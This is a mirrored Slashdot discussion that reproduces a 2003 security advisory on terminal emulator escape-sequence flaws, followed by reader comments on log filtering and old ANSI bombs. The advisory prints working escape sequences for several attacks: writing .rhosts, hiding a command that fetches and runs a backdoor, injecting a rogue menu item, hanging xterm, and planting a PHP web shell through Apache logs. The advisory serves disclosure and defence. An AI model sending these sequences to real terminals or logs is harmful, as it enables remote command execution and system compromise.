Slashdot Mirror
Getting Hacked Through Your Terminal
hdm writes "My company recently published a paper on security issues with common terminal emulator applications. The interesting thing about these vulnerabiltiies is that many of them only require the victim to be running tail on their log files (apache, syslog, etc) for the attack to be successful. The paper (TXT) can be found here."
Most exploits that existed over 5 yrs ago are still valid.
For instance, you can recover a root password in just 10-15 minutes on ANY machine.
31 people regularly point & click my G-spot
just pipe your stuff through strings. it should help a bit
Given the profliferation of exploits related to race conditions, predictible file creation, etc,
;-)
we should henceforth re-tool our code to only make use of stateless protocols!
The difference between stupidity and genius is that genius has its limits.
Good job out of you. Come on in, I'll have Betty make you some coffee.
In the meantime, is it my imagination or did this article just tell me how to place a file in the root directory of a webserver? If my employees ever did that I'd... well I'd.... fire them.
I always pre-filter my logs thru a Perl script. Besides removing verbose messages that are not useful, my filters replace such non-printable characters with a printable character. Not only does it make it easier to spot strange octets on the screen, it does not depend on the terminal emulator remaining secure.
chongo (was here)
Jim is good, and has thwarted the haxors. Let them run e-term!
If you are running any BSD, where OpenBSD would be the most obvious choice for really security concerned people, you are fine. If you're running some other syslog daemon, you might be screwed.
:-)
Windows? Well, windows don't even have syslogging like this - isn't the existing Windows 'sploits enough for you?! Sheesh, some are never satisfied...
OK, so the exploit descriptions seem real and interesting enough, but what was the point of such an over-the-top
"Fictitious Case Study"?
Reading that drivel about Andre and his l33t hax0r buddies totally removed the credibility the rest of the article had achieved!
However, you obviously knew what TXT meant.
KARMA TAG! You're it.
TERMINAL EMULATOR SECURITY ISSUES
/* rxvt */ /* Eterm */
.bd;exit;\a\e[21t\e]2;xterm\aPress Enter>\e[8m;"
/tmp
m lh tml
p ic=dtterm
6 931350
m .evil.esc.advisory
0 029.html
0 0-05/0409.html5 I-00%40ixion
t s/flash.c% 40news.ysu.edu/ show.php?p=47&a=4
Copyright © 2003 Digital Defense Incorporated
All Rights Reserved
[ Table of Contents ]
-- Summary
-- Disclaimer
-- Escape Sequences
-- Remote Exploitation
-- Screen Dumping
-- Window Title Reporting
-- Miscellaneous Issues
-- Terminal Defense
-- Tested Emulator Versions
-- Vulnerability Index
-- A Fictitious Case Study
-- References
-- Credits
[ Summary ]
Many of the features supported by popular terminal emulator software can be abused
when un-trusted data is displayed on the screen. The impact of this abuse can range from
annoying screen garbage to a complete system compromise. All of the issues below are
actually documented features, anyone who takes the time to read over the man pages or
source code could use them to carry out an attack.
[ Disclaimer ]
There is nothing new in this paper. The entire concept of exploiting a terminal by
supplying hostile input has been around for over 10 years now. Unix veterans and BBS
users have been exposed to this type of problem since the very beginning, a newsgroup
search can turn up all sorts of exploits, from the ever-popular "flash" program to the
abuse of logging features in xterm which were disabled in R5. Therefore the purpose of
this paper is to identify weaknesses in the current suite of popular terminal emulation
software, not to rehash an ancient problem.
[ Escape Sequences ]
Typically, an escape sequence is a series of characters starting with the ASCII escape
character (0x1B) and followed by a specific set of arguments. Escape sequences were
originally used to control display devices such as dumb terminals and have been extended
to allow various forms of interaction with modern operating systems. An escape sequence
might be used to change text attributes (color, weight), move the cursor position,
reconfigure the keyboard, update the window title, or manipulate the printer. Over the
years, many new features have been added that required enhancements to the terminal
emulator applications to support them.
[ Remote Exploitation ]
To exploit an escape sequence feature, an attacker must be able to display arbitrary data
to the victim's terminal emulator. While at first glance that may seem rather unlikely, the
attacker can take advantage of a number of small bugs in other applications to increase
their chance of success.
Just about every network service that uses syslog will pass remote data directly to the
daemon without filtering the escape character. The responsibility then lays on the syslog
daemon to strip the escape code before writing the log entry to the disk or terminal.
Although both the stock *BSD syslog daemons as well the sysklogd package filter escape
sequences, msyslog, syslog-ng, and the logging daemons supplied with many commercial
UNIX-based operating systems do not.
While sending data directly to a vulnerable syslogd or rwalld service is the most direct
form of attack, there are literally dozens of other ways to place hostile binary data onto
the terminal of a remote user. The Apache web server makes an effort to clean garbage
from its access logs, but it still allows escape characters to be injected into the error logs.
Many command-line network tools can be exploited by a hostile service response, some
examples of this is include wget, curl, ftp, and telnet.
Multi-user systems are especially vulnerable, as any user can send a system-wide
message under the default configuration of most operating systems. Placing the attack
data into the banner of a popular FTP server, telnet service, or message of the day file
will increase the chance of finding a valid target. Certain console email clients refuse to
display files when the content-type of an attachment is set to a unrecognized value, so the
user must save the file and then read it on the command line, often just using the standard
"cat" utility.
[ Screen Dumping ]
Eterm and rxvt both implement what they call the "screen dump" feature. This escape
sequence will cause an arbitrary file to be opened and filled with the current contents of
the terminal window. These are the only two tested emulators[1] that still had the ability
to write to files enabled by default. Although rxvt will ignore dump requests for existing
files, Eterm[2] will happily delete the file and then create it again. Although it is
technically the same feature, the OSC code used to trigger it is different between the two
emulators. For rxvt, the screen dump code is 55, for Eterm, it is 30. It is possible to
control the entire contents of the file by specifying the reset sequence, then the required
data, followed by the screen dump command.
$ echo -e "\ec+ +\n\e];/home/user/.rhosts\a"
The same approach can be used to create an authorized_keys file for SSH, a replacement
passwd file, or even a hostile PHP script written to the user's web directory. This attack
requires no interaction on the part of the user and would be very difficult to detect if done
correctly. The primary difference between this issue and some of the others mentioned in
this paper is that the actual "exploitation" happens on the system running the emulator
software, not the current system that the terminal is accessing. The code that is
responsible for opening the dump file is shown below.
if ((fd = open(str, O_RDWR | O_CREAT | O_EXCL, 0600)) >= 0)
unlink(fname);
outfd = open(fname, O_CREAT | O_EXCL | O_NDELAY | O_WRONLY, S_IRUSR | S_IWUSR);
[1] XFree86's xterm disabled an equivalent feature in X11R5 due to security concerns. It
can still be enabled with a compile-time option.
[2] Eterm actually disabled this in 0.9.2 (October 31, 2002), however many recent Linux
distributions still shipped with 0.9.1.
[ Window Title Reporting ]
One of the features which most terminal emulators support is the ability for the shell to
set the title of the window using an escape sequence. This feature was originally
implemented by DEC for DECterm and has since been added to most emulators in use
today. The easy way to set the window title of a terminal is using the echo command:
$ echo -e "\e]2;This is the new window title\a"
When the output of the above command is displayed on the terminal, it will set the
window title to that string. Setting the window title by itself is not much of a security
issue, however certain xterm variants (and dtterm) also provide an escape sequence for
reporting the current window title. This essentially takes the current title and places it
directly on the command line. Due to the way that most emulators processes the escape
sequence, it is not possible to embed a carriage return into the window title itself, so the
user would need to hit enter for it to process the title as a command. The escape sequence
for reporting the window title is:
$ echo -e "\e[21t"
At this point, the attacker needs to convince the user to hit enter for the "exploit" to
succeed. There are a number of techniques available to both hide the command and
encourage the user to "press enter to continue". The simplest is to just insert a prompt
followed by the "invisible" character attribute right before reporting the title. Another
method is to set the foreground and background colors to be the same (all black or white)
and hope the user hits the enter key when trying to determine what happened. The
following example for xterm demonstrates a sequence that downloads and executes a
backdoor while hiding the command line. The "Press Enter >" string should be changed
to something appropriate for the attack vector. Some likely candidates include "wget
internal error: press enter to continue" or "Error: unknown TERM, hit enter to continue".
$ echo -e "\e]2;;wget 127.0.0.1/.bd;sh
Any terminal emulator that allows the window title to be placed on the command-line is
vulnerable to this attack. The applications which were confirmed vulnerable include
xterm, dtterm, uxterm, rxvt, aterm, Eterm, hanterm, and putty[1]. The tested applications
that did not allow the title to be written include gnome-terminal 2.0, konsole, SecureCRT,
and aterm.
[1] Although putty would place the title onto the command-line, we were not able to find
a method of hiding the command, since neither the "invisible" character attribute nor the
foreground color could be set. Putty has a relatively low limit to the number of characters
that can be placed into the window title, so it is not possible to simply flood the screen
with garbage and hope the command rolls past the current view.
[ Miscellaneous Issues ]
Eterm should be given an award for the "Easiest to Compromise" terminal emulator. The
developers based much of their code off of the rxvt and xterm source, so Eterm tends to
share the same problems as those two emulators as well. If you happen to be running a
CVS version of Eterm from between February 10th and May 8th of 2001, it was possible
to execute an arbitrary command just by displaying the following escape sequence:
$ echo -e "\e]6;73;command\a"
Fortunately, this feature never made it into an official release, the "fork-and-exec" ability
was replaced by the script action spawn() instead.
During the research process, a number of small bugs were found that would either lock
up the emulator completely or crash it. Although they can be disregarded as simple denial
of service attacks, they could be abused to prevent an administrator from seeing
subsequent logs during a compromise. In general, the code which processed application-
side input seemed to place little emphasis on sanitizing the data before passing it directly
to system-level functions. While there was some effort made to avoid standard buffer
overflows, much of the loop-based character processing appeared ripe for a denial of
service attack. An example of this is a bug in the DEC UDK processing of XFree86's
xterm application, the following command will place the process into a tight resource-
eating loop:
$ echo -e "\eP0;0|0A/17\x9c"
This bug was reported to xfree86@xfree86.org on December 17th, 2002 and no response
was received as of the publication of this writing. The hanterm application is also
vulnerable to this issue, as the code base started off as a direct copy of xterm.
Both rxvt and aterm support a feature known as the menuBar. This feature allows the user
to create drop-down menus at the top of the terminal screen using both menu
configuration files and escape sequences. Anyone able to display data on the terminal
could modify the menu entries in a way that would compromise the system when
accessed. This type of attack relies more on social engineering, but still provides a
potential entry point when nothing else is available. The example below will create a new
top-level menu item called "Special" with a single item labeled "Access", when clicked it
will download and execute a backdoor from http://127.0.0.1/.bd and exit the shell.
$ echo -e "\e]10;[:/Special/{Access} wget 127.0.0.1/.bd\rsh bd\rexit\r:]\a\e]10;[show]\a"
[ Terminal Defense ]
The ideal solution is to sanitize all data before displaying it on your terminal, however
without a custom terminal application or data filter, you can't guarantee that every tool
you use on the command-line is going to strip escape sequences. The responsibility
should rest on the actual terminal emulator; any features that allow file or command-line
access should be disabled by default and more attention should be paid to new features
that implement any use of escape sequences.
The tested terminal emulators that were not susceptible to the screen dump or window
title attacks include KDE's konsole, Gnome's gnome-terminal, Vandyke's SecureCRT,
and Sasha Vasko's aterm. Konsole and gnome-terminal each use their own independent
code-base and didn't try to support the same massive feature set as the others.
SecureCRT took a similar approach, emulating just the minimum needed to be usable.
With aterm, the code was originally based on rxvt, however many of the dangerous
features were removed as the project progressed.
[ Test Emulator Versions ]
xterm: xf86 4.2.0 (patch 165)
aterm: 0.42
rxvt: 2.7.8
Eterm: 0.9.1
konsole: 3.1.0 rc5
putty: 0.53
SecureCRT: 3.4.6
gnome-terminal: 2.0.2 (libzvt 2.0.1) [2.2 indirectly]
hanterm-xf: 2.0
[ Vulnerability Index ]
The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned CVE
candidate namess for all issues described in this paper.
CAN-2003-0020 Apache Error Log Escape Sequence Injection
CAN-2003-0021 Screen Dump: Eterm
CAN-2003-0022 Screen Dump: rxvt
CAN-2003-0063 Window Title Reporting: xterm
CAN-2003-0064 Window Title Reporting: dtterm
CAN-2003-0065 Window Title Reporting: uxterm
CAN-2003-0066 Window Title Reporting: rxvt
CAN-2003-0067 Window Title Reporting: aterm
CAN-2003-0068 Window Title Reporting: eterm
CAN-2003-0069 Window Title Reporting: putty
CAN-2003-0070 Window Title Reporting: gnome-terminal
CAN-2003-0078 Window Title Reporting: hanterm-xf
CAN-2003-0071 DEC UDK Processing DoS: xterm
CAN-2003-0079 DEC UDK Processing DoS: hanterm-xf
CAN-2003-0023 Menubar Manipulation: rxvt
CAN-2003-0024 Menubar Manipulation: aterm
[ A Fictitious Case Study ]
Jim is the sole administrator for the web server farm at a moderately sized ISP. Most of
his company's clients maintain their own sites and Jim's primary responsibility is to keep
the web servers online and secured. Jim spends some of his spare time dabbling with
PHP and uses his workstation as his development system. The workstation is on the same
network segment as the rest of the servers and the firewall only allows TCP port 80 and
443 inbound. Jim has a new 2.5Ghz P4 and finally has enough processing power to run
the Enlightenment window manager with all the tweaks. His favorite part about
Enlightenment is the terminal emulator, Eterm, which lets him make the background
transparent and do all sorts of imaging tricks. Jim keeps a tail process running for the
error_log files on each server he manages, allowing him to easily spot script bugs and
misconfigurations before the customer calls him to fix it.
Andre is pissed. Some "friends" from his old hacking group have posted some
embarrassing photos of him on the group's home page. The page is hosted in the ~user
directory on a web server at some dinky ISP his old friend uses. He starts poking at the
web server only to give up about 30 minutes later after failing to find a single vulnerable
CGI or outdated service. He starts up Nmap again, this time on the whole class C that the
web server resides in, determined to take down the entire subnet if he has to. He finds
another web server, this one is running a traceroute gateway that is vulnerable to meta-
character injection. Andre manages to get an outbound shell back to a bounce system and
proceeds to poke around. He finds what appears to be an OpenSSH public key in the
directory, named JimH.pub. Looking at the key file, he sees that the userid stored in it is
for jim@jimsbox.weeisp.com. A quick check shows that jimsbox.weeisp.com not only
resolves to an external address, but is also running a web server.
The index page of Jim's web server consists of a couple pictures of him, some links to his
favorite news sites, some screenshots of his new super-leet desktop, and some of his
latest PHP projects. The first PHP project link Andre clicks on immediately starts
spewing errors, complaining about not being able to connect to the database. The error
message itself is interesting though, since it contains the full path to the script that
triggered the error. Andre makes a quick note of this and keeps digging around, hoping
for an easy entry point. As soon as he pulls up the desktop screen shots, he knows he
struck gold. The screen shot not only shows a scantily clad Italian model in the
background, but an Eterm open tailing the logs of the same server his pictures are being
served from. He gets to work, hitting the workstation with every tool he can find, but an
hour later he still hasn't busted a shell. While looking through the screen shots again,
Andre gets the idea to look at the Eterm documentation and see what other features it
supports. Not only is the documentation easy to read with plenty of examples, but it
mentions an interesting feature described as a "screen dump".
About two hours later, Andre finally manages to get Eterm and its 60 megabytes of
support libraries compiled. He discovers that to force Eterm to write out a file, all he has
to do is display a certain sequence of characters to the screen. The question now is how to
get those characters onto that Eterm at 4:30 in the morning. After a quick review of the
Apache source code, he finally finds a spot in the error handling code where he can inject
arbitrary data into the log files. All he has to do is send a request for a file with the escape
sequence he wants to use and Apache will write the unfiltered data directly to the log file.
Now that he can write arbitrary files to the workstation, he has to find a method of using
it to gain access. Andre is pretty sure that the workstation is running SSH, but the only
ports available are 80 and 443. He remembers that the PHP errors he saw earlier provided
the full path to the web root, if he can write files there, then he run commands through the
web server. Five minutes later, Andre is connecting to the target web server and sending
a GET request for a string generated with the following command:
$ echo -e "\ec\e]30;/home/www/htdocs/owned.php\a"
This command clears the current screen buffer, displays his hostile PHP code to the
screen, and then uses the screen dump command to write it into the web root. He points
his browser to http://jimsbox.weeisp.com/owned.php?c=id and starts the process of
rooting Jim's workstation, stealing his SSH keys, and taking those horrid pictures (as well
as the rest of the group's files) off of that web server.
[ References ]
This Paper and Associated Tools
--- http://www.digitaldefense.net/labs/whitepapers.ht
--- http://www.digitaldefense.net/labs/securitytools.
Recognized Escape Sequences
--- Eterm: http://www.eterm.org/docs/view.php?doc=ref
--- xterm: http://rtfm.etla.org/xterm/ctlseq.html
--- dtterm: http://hpc.uky.edu/cgi-bin/man.cgi?section=all&to
--- rxvt: http://www.rxvt.org/refer/rxvtRef.html
Solar Designer's Post on Syslog Filtering
--- http://marc.theaimsgroup.com/?l=bugtraq&m=9693865
ADM's "The Evil Escape Sequences"
--- http://www.attrition.org/security/advisory/ADM/ad
AmigaOS Escape Sequence Exploits
--- http://www.abraxis.co.uk/SA-2001-11-08.html
MS-DOS/Windows Key Redefinition
--- http://lists.insecure.org/lists/bugtraq/1994/Jul/
Multiple Emulator Window Resize DoS
--- http://archives.neohapsis.com/archives/bugtraq/20
--- http://groups.google.com/groups?selm=E12zFeu-0007
The Original "Flash"
--- http://www.parallaxresearch.com/files/unix/exploi
--- http://groups.google.com/groups?selm=342k7c%243ne
--- http://www.phrack-dont-give-a-shit-about-dmca.org
[ Credits ]
This paper was written by H D Moore, with much help from the rest of the Digital
Defense Operations Team. I would like to thank Solar Designer for providing some great
feedback on the original draft and Mark Cox for handling the CVE candidate generation
and vendor coordination.
People would know what I mean't if I wrote in l33t, but it would be a stupid thing to do.
Eh? Who gives a damn!!!!
So if it was in HTML the link should have been "the paper (HyperText Markup Language)..."?
Come on, is it that big of a deal really?
Perhaps ;) I think TXT is more widely understood to the common person then l33t, though. An abbreviation that is 3/4 of the original word isn't very useful though ... I will concede that.
KARMA TAG! You're it.
So they discovered ANSI bombs over again.
Simple! Just tell Linux not to load ANSI.SYS, problem solved!
Another day, another vulnerability. These exploits are getting more bizzare and more useless every day. The risk factor here is ridiculously low.
I don't want to here about anymore useless exploits or no risk vulnerabilities. If you really want my window title, I'll telll you what it is; Getting Hacked Through Your Terminal - Konqueror
Now, when someone gets an exploit to replace the Slashdot ads with Goatse, then I'll be impressed.
However, certan software would allow an attacker to insert these control codes anywhere, and not just interpret them from the menus.
Imagine the hilarity that insues once the attacker figures out the embed sequence for the drop to DOS feature.
The more you know, the less you understand.
that if you watch your tail you wont get hacked...
(or at least you will know when you are getting hacked...)
i am chrisd
Someone has to be using a terminal for someone to be able to do this to them. Is it just me, or is the solution really obvious? Just chmod every thing with a command line to 000! That should keep those naughty, naughty crackers out!
Note to M1-ers: a curt but otherwise insightful message is not "Flamebait" or "Troll".
Apparently the OSX terminal might be susceptible to this. It is possible to alias different escape sequences to commands like lm and ll to make the terminal full screen, send it to the background, make it tall, etc.
/var/log/messages, but I won't be the one to find out as my PowerBook is in the shop...
It would be interesting to see whether actual commands can be executed if tailing
Back in the day, "Ansi Bombs" were considered an art form. With the art scene so active, you could usually embed some evil escape string in a good looking graphic and know that you were going to get people.
The problem was DOS' overly-powerful ANSI.SYS interpreter. It let you remap any key to an arbitrary set of keys, making keyboard macros pretty easy. However, it also let evildoers remap "Space" to, for example, "del *.*, enter, y, enter." Luckily, there were third party ANSI interpreters that didn't suffer this vulnerability.
One time, when I was about to reformat my HD, I even wrote an ANSI bomb to do it. Crazy stuff. There's an interesting (and of course, old) paper about it here.
It all goes downhill from first post
I dare to say that putty IS vulnerable. This is what happens when I run a similiar command. Sure, it still expects an enter and anyone who takes his time to read stuff on his/her screen before blatantly hitting enter will notice the command. This was done with the latest build which I just downloaded from the site.
Hate me!
If you had read the article, rather than just glancing through it... those were the terminal emulators he used.
Eterm was affected, Putty, Xterm, and Rxvt.
Black and grey are both shades of white.
So they discovered ANSI bombs over again.
Looks like it.
I recall the "ANSI Standard Trojan Horse" (though it was misnamed). It became quite common after ANSI standardized a cross between the VT100 and Ann Arbor Terminals escape sequences.
Simplest form was to send a "talk" mesage to a root user containing an escape sequence that programmed a hotkey with your command-to-be-run-as-root and then "hit the key" by remote control. (You could even bury it invisibly in an otherwise innocuous-looking message.)
ANCIENT stuff. What-early '70s?
Bantam Dominique roosters crow a four-note song. Once you've heard it as "Happy BIRTHday" you can't NOT hear it that way
[ Disclaimer ]
There is nothing new in this paper. The entire concept of exploiting a terminal by
supplying hostile input has been around for over 10 years now. Unix veterans and BBS
users have been exposed to this type of problem since the very beginning, a newsgroup
search can turn up all sorts of exploits, from the ever-popular "flash" program to the
abuse of logging features in xterm which were disabled in R5. Therefore the purpose of
this paper is to identify weaknesses in the current suite of popular terminal emulation
software, not to rehash an ancient problem.
-EOF-
What is more sad, you acknowledge this like it is a new vulnerability in your post.. when it clearly states, it's over 12 years old.. Feel like a new kid on the block don't you?
Most terminals released in the last few months aren't afflicted by this, particularly the most common. You have to be running a terminal to get hacked like this. You need some pretty contrived circumstances to get hacked like this; your average opportunistic script kiddie won't be able to use this trick too easily on strangers. Besides, couldn't you just set up a cron job to pipe all the logs through strings?
Lonely man seeks satisfying cock. My password is 'ha
In my neck of the woods TXT is practically synonymous with text messaging. No, actually it's, synonymous with the delivery of TXT msg svrl hrs aftr u snt thm...
# init 5
Connection closed.
Oh...
The author went on to have an interesting converstaion with Micahel Jennings, author of Eterm on Bugtraq here.
ex$$
The following terminal emulators were found, according to the article, to NOT be susceptible to screen dump or window title attacks:
Some asked about my Perl filter for tailing log files.
Sans typos, here is an example that removes certain types of messages and fields, checks the file every 60 seconds, picks up trailing on the new file when the log file gets rotated (moved away), trims to 224 characters and replaces unusual chars with ~'s (assuming you use ASCII).
As they say in perl, there is more than one way to do it. The above code fragment is just to give you the general idea.
chongo (was here)
The paper mentions injecting escape sequences into log files which are being tail -f'ed... and that there's nothing new about terminal exploits.
/var/log/apache/common.log' would limit less to 1024K (1M) of buffer, which means old data will eventually be discarded, but keeps less from malloc'ing all your core. As always, Read The Fine Manual for details :)
When I first heard about this (a couple of years back) I started using less +F for tailing logs. less will convert the escape character into the token ESC (in bold or inverse video), avoiding any escape-sequence exploits.. and also adds the benefits of being able to scroll back and search, which would make it worth using even if there were no such thing as a terminal exploit.
If you're going to leave it running for a long time, you might want to also look into the -b and -B options, to limit the amount of buffer space it will allocate: something like `less -b1024 -B +F
I just checked: the `more' command on my Linux and Solaris boxen seems to pass escape sequences through, so you really do want `less' (or alias less=more, if you're used to typing `some_command|more'), not to mention `more' has no equivalent to `less +F' or `tail -f'.
Hope this helps someone...
Why 224 characters? Is there some bug with long lines one needs to avoid?
One point that stood out at me is how many apps are vulnerable because they started with an insecure codebase. This is how exploits become common - one buggy piece of code spreads to a dozen others and never gets fixed in any of them, if only because authors say "let's add our new features instead of validating these 25,000 lines of code we started with."
What if life is just a side effect of some other process and God has no idea we exist?
By trimming down to 224 characters, I avoid line wrap. System crackers cannot cause a very long line to wrap at just the right place to fake another entry.
Sure, I'll perhaps miss important text beyond the 225th char, but I'm willing to take that risk. Besides, the script converts tabs to a single space and removes some common fields and phrases which further cut down down on long lines. And I can always to back to the logs to look at really long lines if I want to.
And yes, maybe some terminal emulator has some long line bug somewhere. My perl script helps avoid testing it. :-)
chongo (was here)
Here's the way a REAL perl coder would write it:
/usr/bin/perl -ne ' /..some regexp to ignore/; /..again../;
(snipped) |
next if
next if
s/..field to ignore..//;
s/..phrase to ignore..//;
etc etc
print;'
None of this crappy $line business is needed. especially not for a "one-liner"...
Besides Troll, I think the poster said that the fragment was to give people the general idea, not to show them how to do it in as few chacters as possible.
Some years ago I managed to make an xterm dump core simply by typing the contents of a binary file, which did not contain any malicious data, it just be coincidence contained a byte sequence that would cause xterm to dump core. Investigating this I found, that some sequence of 24 bytes was responsible. But if I made the xterm window larger, it would not crash from this sequence, however it turned out the original file contained another longer sequence that could also make a larger xterm dump core. I never actually understood exactly what was going on, but I found that later xterm versions does not crash from the sequences I saved from back then.
Do you care about the security of your wireless mouse?
But to each his/her own. TMTOWTDI (or TIMTOWTDI if you prefer) after all!
The preceding pipe command could terminate early, leaving the Perl program with a final line that is not newline terminated. So you cannot simply rely on the final s/^(.{1,224}).*$/$1/; print; to do the job. You need to chomp first, and print a newline after.
Where can i get kewl 10-mile long old-school ANSI???
Mac OS X 10.2.3, with X11, PHP, MySQL, Web Sharing, File Sharing, and FTP all running.
I have checked your journal, and there are no links to porn sites. Please rectify this immediately.
Thank you,
Anonymous Coward
will take care of the tail of a log file problem...
In the article, especially in the 'Fictitious Case Study', the author makes quite a lot of snide (although funny) remarks about Enlightenment.
By the way, I am not an Enlightenment user, so don't think that is why posted this.
For instance...
...or...
Thank you.
GrimReality
2003-03-02 01:27:02 UTC (2003-03-01 20:27:02 EST)
How many of us happen to put pictures of our terminal windows up on our websites?
A long long time ago, on a uucp-net far, far, away, we didn't use terminal emulators, we used real hardware terminals. Most of them didn't run ANSI (I don't remember if the ANSI terminal standards were defined yet, but they looked very much like a DEC VT-100 terminal), but that meant there were lots of types of terminals, all trying to achieve market differentiation by having cool features or small size or large screens or cool plastic cases. Lots of different cool features means lots of vulnerabilities. The hackers in question had REDISCOVERED AN OLD TECHNIQUE - they found ways to hand escape sequences to VT100 terminals that would get the terminal to send arbitrary text back to the computer, which in those good old command-line days meant they could do anything they wanted. All you needed to do was email somebody a message with carefully crafted character strings in it, or use the talk program to write them to their terminal (back when everybody left their ttys writeable so talk would work.) Some of the popular techniques were to abuse programmable function keys (send a sequence to put some string in F1, then another sequence to auto-trigger the F1 key), or automatic whoami-responders (VT100 had one of these), or put the terminal into loopback testing mode (letting you type anything you want.)
The Hewlett-Packard HP2621 and its relatives had two easy things to do, which didn't let you send arbitrary characters but still hosed the user - one did a reboot on the terminal (and thereby dropped the connection), while the other put it into test pattern mode (sending a long string of UUUUUU to the computer.) There may have also been some block-mode things that let you send arbitrary characters to the computer, but these two were the easiest and best-documented. A couple years later, when I was a newbie learning Unix programming and security at Bell Labs, and Robert Morris Senior (father of RTM the Worm Author) was a department head for computer security (before he went to NSA), we'd had a discussion about some techniques I was trying (which he cracked through personally :-), and a few days later, when I'd patched those holes, I was playing rogue in the evening, and one of his people talked the test pattern sequence at me. For a few seconds, I though Umber Hulks were suddenly going to eat my character, but then realized I'd been hacked, and it was one of RTM's people following up on what I'd patched and what I hadn't...
Terminology note on "hacker" as opposed to "cracker" or "vandal" - The folks at Berkeley really were hacking - tinkering with things to find their limits - and while they could potentially use their knowledge for evil, they instead told people about it, which reminded lots of us to check for potential security holes in our systems.
Bill Stewart
New Fast-Compression-only CPR http://preview.tinyurl.com/dy575ks
The Great Hacker (later read: me) would dig up docs on VT10x escape sequence interpretation. Then I would look to see what that trimmed down file translates to in terms of screen manipulation code.
I would think to myself, does that series of actions even make sense? It probably wouldn't (seeing as it tends to crash xterm).
The next thing would be to trim the sequence down to just escape codes (removing any printable characters in the sequence), and see if still dumps core. If not, its probably due to a simple segfault (whether writing character or blitting a bitmapped font in an invalid buffer).
Then try removing an escape code or chaning a parameter. Does it still dump core? Are there ranges of values for each escape code that cause the behavior?
Finally, you'd grab the source code and see if the are any obvious flaws. Does the emulator load a parameter and then cast it into a signed value? Then does it not check to see if it was negative? etc.
All those steps (which I've never done nor considered before your post) would be my plan to handle and investigate the situation.
I think what it requires to be a Good Hacker, therefore, is a sick motivation to get to the bottom of things, no matter how painful or time consuming the excercise. The steps I outlined above could easily take 15 hrs. to adequately address. Are the potential results worth that time? To a great hacker, who relishes such experiences, yes they are, even if she cannot pinpoint the problem or fix it.
There was nothing that you did wrong. I think maybe you didn't really want to be one. Great hackers do not just have fits of ingenuity and shit. They just hack at things until it becomes clear. It's time consuming, tiring, and often thankless. But over time, you get to have a certain knack for relating new problems to old ones, and it becomes easier.
Nothing says you can't start now either. Go for it!
Fuck Beta. Fuck Dice
What if the computer is like my own, where I have a BIOS password *and* a padlock locking the case?
And here I thought they were referring to RFC 1464: Using the Domain Name System To Store Arbitrary String Attributes....
Larry Wall's famous quote says Great Hacker virtues include Laziness, Impatience, and Hubris.
I would agree, and say that a Great Hacker would locate those killer ctrl codes, get a boatload of diagnostic information together, and hand all that over to the maintainer of the terminal program and then not sweat trying to figure it out themselves.
Let someone that knows the code, and might be better able to divine what's up have a wonk at it. You could even check the diffs if it ever gets patched, and you were curious and had time to kill.
Then, the Great Hacker would go and patch their own project to fix up the newest incoming bug report.
Then, the Great Hacker would rest and eat of the Divine Pizza.
And all would profit.
Keep your packets off my GNU/Girlfriend!
Shut up about it. Thanks.
You do have "mesg n" set, do you?
If not, you are attachable by "write " as well.
And yes, this is very, very old. Many an administrators open terminals have been taken remotely using this when I was at university.
Kristian
tail -f /var/spool/foo/logfile | cat -uv
Something any smart sysadmin would do, anyway, to display just exactly what was showing up in the log.
Some programs or setups spit stuff out to the console - warnings, error messages etc.
I remember doing something similar when testing my company's TIS FWTK setup years ago. When you used an address with unbalanced brackets, sendmail when called by smapd will grumble to the console. As a test I sent an email with a ESC sequence setting the foreground colour to black and it worked. Wasn't too surprised. Wasn't able to find an exploit for the console term at that time, and no one abused it (security through obscurity).
Later I switched to using qmail (IIRC qmail 1.0.3 dates to 1998, the TIS FWTK has been around for quite some time). Just to test things out I also recently wrote an smtp proxy to enforce state and filter out stuff(qmail may be robust, but it tends to pass the junk unfiltered to other stuff which may be less robust).
Some O/Ses send a many kinds of messages to the console too.
But the later option was too risky for my taste, because the "login" process was owned by you. So instead, I wrote a doomsday shell script. It gave you a # prompt to make you believe you are running as root. It then emulated various UNIX commands. For example "jobs" showed [1] rm -rf / & and "kill" returned "Permission denied". It logged all the commands and responses to an obscure file in my home directory. Once I got our semi-knowlegable system administrator's assistant to "interact" with this script and it was quite fun reading him using kill 10 times in a row with the same arguments. She really thought the filesystem was going south.
Terrible abuse that can be inflicted on X terminals or public lab PCs with terminal emulators is left to the imagination of the reader.
i dont believe you.
> next if $line =~ m{... some regexp you want to ignore ...};
/[^a-zA-Z0-9]/;
That is the wrong aproach, what if you didn't know that you should ignore some given text? I.e.
next if $line =~
This asserts that you only accept stuff that you know is safe.
This story gives a whole new meaning to that phrase.
I hereby place the above post in the public domain.
I think that's nonsense.
I'm certainly not professing to be a great hacker, and I don't think people in that category would use that term to desribe themselves.
However...
Not bothering to spend the time working out why a given string crashes an xterm does not mean you are not a great hacker, let alone that you will never be one.
All it means is there was something else you would rather do instead. Which is not a bad thing.
Obviously, you can't fix every software bug in the world on your own - and clearly the best way to deal with them is not to try and fix them all personally, so another approach is needed.
To put it another way:
If everybody spent time trying to fix obscure bugs in other people's code while still trying to write their own software, all development would grind to a halt - developers would spend loads of time pouring over and trying to understand documentation for libraries and API's and going line by line through other people's, very possibly krufty, code - instead of spending time working on solving their own bugs.
If I found such a bug, I'd be likely to contact the author informing him (and provding some details as to why), and go back to fixing *my* bugs.
Although it's no bad thing to debug and fix bugs in other poeple's code if you have some free time and no projects of your own, it's simply far more logical and efficent to spend time fixing your own bugs.
PS: FWIW, IMHO, 'it' is simply equal lashings of time and effort and a dollop of hubris to taste, served on a bed of sufficent basic intelligence. The 'time' and 'effort' ingredients being the hardest to come across.
Lines such as:
serve as part of the ''removes certain types of messages'' processing. And lines such as:
serve as part of the ''removes certain types of ... fields'' processing.
And lines such as:
serve as part of the ''trims to 224 characters'' processing. And lines such as:
ensure that each message read is printed with a trailing newline.
To protect terminal emulators, the following lines are used:
For systems using ASCII (and a number of other widely used character sets), it replaces potentially dangerous characters with ~ (tilde) characters. The replacement is 1-for-1, so the layout of the original message is mostly preserved.
I say ''mostly preserved'' because a tabs are replaced with space. I prefer to view whitespace as just token separators and to reduce them where reasonable. A more complete whitespace crusher would use:
On the other hand, you might want to keep all whitespace as it is when tailing log messages in your terminal emulator window, so:
would do the trick.
And of course one could write the regexp to not depend on a character set order. I'll leave that exercise up to the reader. :-)
BTW: I prefer to replace strange characters instead of tossing them. Tossing strange characters instead of replacing them could would allow a system cracker to potentially mimic a valid messages knowing that invalid chars would simply be tossed. And I usually want to know when strange chars appear in the logs.
I hope this helps.
chongo (was here)
I just tried this in GoGlobal 1.63:
